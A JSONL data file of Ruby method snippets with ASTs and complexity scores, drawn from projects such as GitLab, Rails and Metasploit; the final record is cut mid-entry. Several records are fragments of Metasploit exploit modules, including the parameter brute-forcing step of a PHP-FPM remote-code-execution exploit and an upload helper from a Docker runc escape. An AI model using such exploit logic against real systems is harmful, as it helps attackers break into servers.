{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/override.rb","start_line":78,"raw_source":"def find_direct_method(klass, name)\n          method = klass.instance_method(name)\n          method = method.super_method until method && klass == method.owner\n          method\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_direct_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"instance_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"owner\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"super_method\"]}]}]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}","id":"37395cbf-892e-4c89-b650-7ea7ccb0e34d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision/options_helper.rb","start_line":58,"raw_source":"def get_hostname(dest_vm_name)\n    name_key = (source.platform == 'windows') ? :sysprep_computer_name : :linux_host_name\n    computer_name = (get_option(:number_of_vms) > 1) ? nil : get_option(name_key).to_s.strip\n    computer_name = dest_vm_name if computer_name.blank?\n    hostname_cleanup(computer_name)\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_hostname\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dest_vm_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name_key\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]}]},{\"type\":\"sym\",\"children\":[\"sysprep_computer_name\"]},{\"type\":\"sym\",\"children\":[\"linux_host_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"computer_name\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"number_of_vms\"]}]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"lvar\",\"children\":[\"name_key\"]}]},\"to_s\"]},\"strip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"computer_name\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"computer_name\",{\"type\":\"lvar\",\"children\":[\"dest_vm_name\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"hostname_cleanup\",{\"type\":\"lvar\",\"children\":[\"computer_name\"]}]}]}]}","id":"0cb3e2d9-1299-45ff-a4d3-1828e4a4db55"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/boards/multi_select_spec.rb","start_line":25,"raw_source":"def wait_for_board_cards(board_number, expected_cards)\n    page.within(find(\"[data-testid='board-list']:nth-child(#{board_number})\")) do\n      expect(page.find('.board-header')).to have_content(expected_cards.to_s)\n      expect(page).to have_selector('.board-card', count: expected_cards)\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_board_cards\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"board_number\"]},{\"type\":\"arg\",\"children\":[\"expected_cards\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-testid='board-list']:nth-child(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"board_number\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".board-header\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_cards\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"str\",\"children\":[\".board-card\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"expected_cards\"]}]}]}]}]}]}]}]}","id":"70e1fd05-cc82-470c-ba8d-f7804681f069"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/offense.rb","start_line":169,"raw_source":"def column_length\n        if first_line == last_line\n          column_range.count\n        else\n          source_line.length - column\n        end\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"column_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_line\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"last_line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_range\"]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_line\"]},\"length\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"column\"]}]}]}]}","id":"94be40d7-9ad9-41c9-b9d0-34eeb95fe6d5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":2197,"raw_source":"def test_form_with_and_fields_with_non_nested_association_and_without_object\n    form_with(model: @post) do |f|\n      concat f.fields(:category) { |c|\n        concat c.text_field(:name)\n      }\n    end\n\n    expected = whole_form(\"/posts/123\", method: \"patch\") do\n      \"<input name='post[category][name]' type='text' id='post_category_name' />\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_and_fields_with_non_nested_association_and_without_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields\",{\"type\":\"sym\",\"children\":[\"category\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<input name='post[category][name]' type='text' id='post_category_name' />\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"410d1097-0592-414e-99d8-dbac42c15049"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/bind_aws_instance_connect.rb","start_line":192,"raw_source":"def payload_uri\n    \"serial+ssh://#{datastore['EC2_ID']}:#{INSTANCE_PORT}\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"serial+ssh://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EC2_ID\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INSTANCE_PORT\"]}]}]}]}","id":"56be248b-db7d-4621-afaa-47c98671b435"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/php_fpm_rce.rb","start_line":234,"raw_source":"def send_params_detection(qsl_candidates:, customh_length:, detect_method:)\n    php_setting = detect_method.php_option_enable\n    vprint_status(\"Iterating until the PHP option is enabled (#{php_setting})...\")\n    customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a\n    qsl_candidates.product(customh_lengths) do |qsl, c_length|\n      res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)\n      unless res\n        vprint_error(\"Error for qsl=#{qsl}, customh_length=#{c_length}\")\n        return nil\n      end\n      if res.code != @base_status\n        vprint_status(\"Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}\")\n      end\n      if detect_method.php_option_enabled?(res)\n        php_setting = detect_method.php_option_disable\n        vprint_status(\"Attack params found, disabling PHP option (#{php_setting})...\")\n        set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)\n        return { qsl: qsl, customh_length: c_length }\n      end\n    end\n    return nil\n  end","complexity_score":30.83,"ast_json":"{\"type\":\"def\",\"children\":[\"send_params_detection\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"qsl_candidates\"]},{\"type\":\"kwarg\",\"children\":[\"customh_length\"]},{\"type\":\"kwarg\",\"children\":[\"detect_method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"php_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detect_method\"]},\"php_option_enable\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Iterating until the PHP option is enabled (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_setting\"]}]},{\"type\":\"str\",\"children\":[\")...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"customh_lengths\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customh_length\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customh_length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MaxCustomHeaderLength\"]}]}]}]},\"to_a\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl_candidates\"]},\"product\",{\"type\":\"lvar\",\"children\":[\"customh_lengths\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"qsl\"]},{\"type\":\"arg\",\"children\":[\"c_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"set_php_setting\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"php_setting\"]},{\"type\":\"lvar\",\"children\":[\"php_setting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"qsl\"]},{\"type\":\"lvar\",\"children\":[\"qsl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"customh_length\"]},{\"type\":\"lvar\",\"children\":[\"c_length\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error for qsl=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl\"]}]},{\"type\":\"str\",\"children\":[\", customh_length=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c_length\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"ivar\",\"children\":[\"@base_status\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Status code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" for qsl=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl\"]}]},{\"type\":\"str\",\"children\":[\", customh_length=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c_length\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detect_method\"]},\"php_option_enabled?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"php_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detect_method\"]},\"php_option_disable\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attack params found, disabling PHP option (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_setting\"]}]},{\"type\":\"str\",\"children\":[\")...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_php_setting\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"php_setting\"]},{\"type\":\"lvar\",\"children\":[\"php_setting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"qsl\"]},{\"type\":\"lvar\",\"children\":[\"qsl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"customh_length\"]},{\"type\":\"lvar\",\"children\":[\"c_length\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"qsl\"]},{\"type\":\"lvar\",\"children\":[\"qsl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"customh_length\"]},{\"type\":\"lvar\",\"children\":[\"c_length\"]}]}]}]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"56ce0dad-08ba-4d48-9d75-db369dc03966"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report.rb","start_line":93,"raw_source":"def to_text\n    require_report 'text'\n    generate Brakeman::Report::Text\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_report\",{\"type\":\"str\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"generate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Report\"]},\"Text\"]}]}]}]}","id":"21057c41-4b5e-4571-9575-403b86b544ef"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/rails/routes/mapper.rb","start_line":7,"raw_source":"def initialize(mapping = Mapping.new)\n          @mapping = mapping\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mapping\"]},\"new\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mapping\",{\"type\":\"lvar\",\"children\":[\"mapping\"]}]}]}","id":"cc7aac04-9f98-4996-a837-ce888e7eed46"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/socialcast/test/test_create_title.rb","start_line":15,"raw_source":"def test_create_title_2\n    body =\n      \"GCTS in 200 stores across town.  How many threads per inch would you guess? @GreatCheerThreading\"\n    expected = \"GCTS in 200 stores across town.  How many threads per inch would you guess?\"\n    title = CreateTitle.from_body body\n    assert_equal(expected, title)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_title_2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"GCTS in 200 stores across town.  How many threads per inch would you guess? @GreatCheerThreading\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"GCTS in 200 stores across town.  How many threads per inch would you guess?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CreateTitle\"]},\"from_body\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}","id":"8021f9e0-9a92-44bc-8190-43f978e3eb49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/docker_runc_escape.rb","start_line":300,"raw_source":"def upload(path, data)\n    print_status(\"Writing '#{path}' (#{data.size} bytes) ...\")\n    begin\n      write_file(path, data)\n    rescue Rex::Post::Meterpreter::RequestError => e\n      fail_with(Failure::NoAccess, \"Unable to upload #{path}: #{e}\")\n    end\n    register_file_for_cleanup(path)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"' (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" bytes) ...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to upload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"64375cbf-fc4c-47c2-85d6-85ce5d4cd1de"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/notifications/center.rb","start_line":127,"raw_source":"def expect_open\n        expect(page).to have_css(\"opce-notification-center\")\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_open\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"opce-notification-center\"]}]}]}]}","id":"4e0e66ab-ba90-49bf-811c-c891770fc023"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/models/label_note_shared_examples.rb","start_line":12,"raw_source":"def label_refs(events)\n    labels = events.map(&:label).compact\n\n    labels.map { |l| l.to_reference }.join(' ')\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"label_refs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]}]}]},\"compact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"to_reference\"]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"22bfd21a-3751-4a31-8df0-15c282ef94a1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encryptable_record.rb","start_line":157,"raw_source":"def ciphertext_for(attribute_name)\n        if encrypted_attribute?(attribute_name)\n          read_attribute_before_type_cast(attribute_name)\n        else\n          read_attribute_for_database(attribute_name)\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ciphertext_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encrypted_attribute?\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"send\",\"children\":[null,\"read_attribute_before_type_cast\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"send\",\"children\":[null,\"read_attribute_for_database\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]}]}","id":"f3876170-9af3-4749-a666-4b64f786ff30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/commit_controller_spec.rb","start_line":279,"raw_source":"def request\n            get diff_files_namespace_project_commit_url(params)\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"diff_files_namespace_project_commit_url\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}","id":"d8dab708-6f35-4b3b-856c-e575dec8df60"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/slack_slash_commands.rb","start_line":51,"raw_source":"def format(text)\n      ::Slack::Messenger::Util::LinkFormatter.format(text) if text\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Slack\"]},\"Messenger\"]},\"Util\"]},\"LinkFormatter\"]},\"format\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]}]}","id":"70ce3f3f-a9c0-49e0-8c97-af9e51c1ce5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'SAP Management Console List Logfiles',\n      'Description' => %q{\n        This module simply attempts to output a list of available\n        logfiles and developer tracefiles through the SAP Management\n        Console SOAP Interface.\n        },\n      'References' => [\n        [ 'URL', 'https://blog.c22.cc' ]\n      ],\n      'Author' => [ 'Chris John Riley' ],\n      'License' => MSF_LICENSE,\n      'Notes' => {\n        'Stability' => [CRASH_SAFE],\n        'SideEffects' => [],\n        'Reliability' => []\n      }\n    )\n\n    register_options(\n      [\n        Opt::RPORT(50013),\n        OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),\n        OptEnum.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE', ['TRACEFILE', 'LOGFILE']])\n      ]\n    )\n    register_autofilter_ports([ 50013 ])\n  end","complexity_score":7.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SAP Management Console List Logfiles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module simply attempts to output a list of available\\n\"]},{\"type\":\"str\",\"children\":[\"        logfiles and developer tracefiles through the SAP Management\\n\"]},{\"type\":\"str\",\"children\":[\"        Console SOAP Interface.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.c22.cc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Chris John Riley\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[50013]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the SAP Management Console 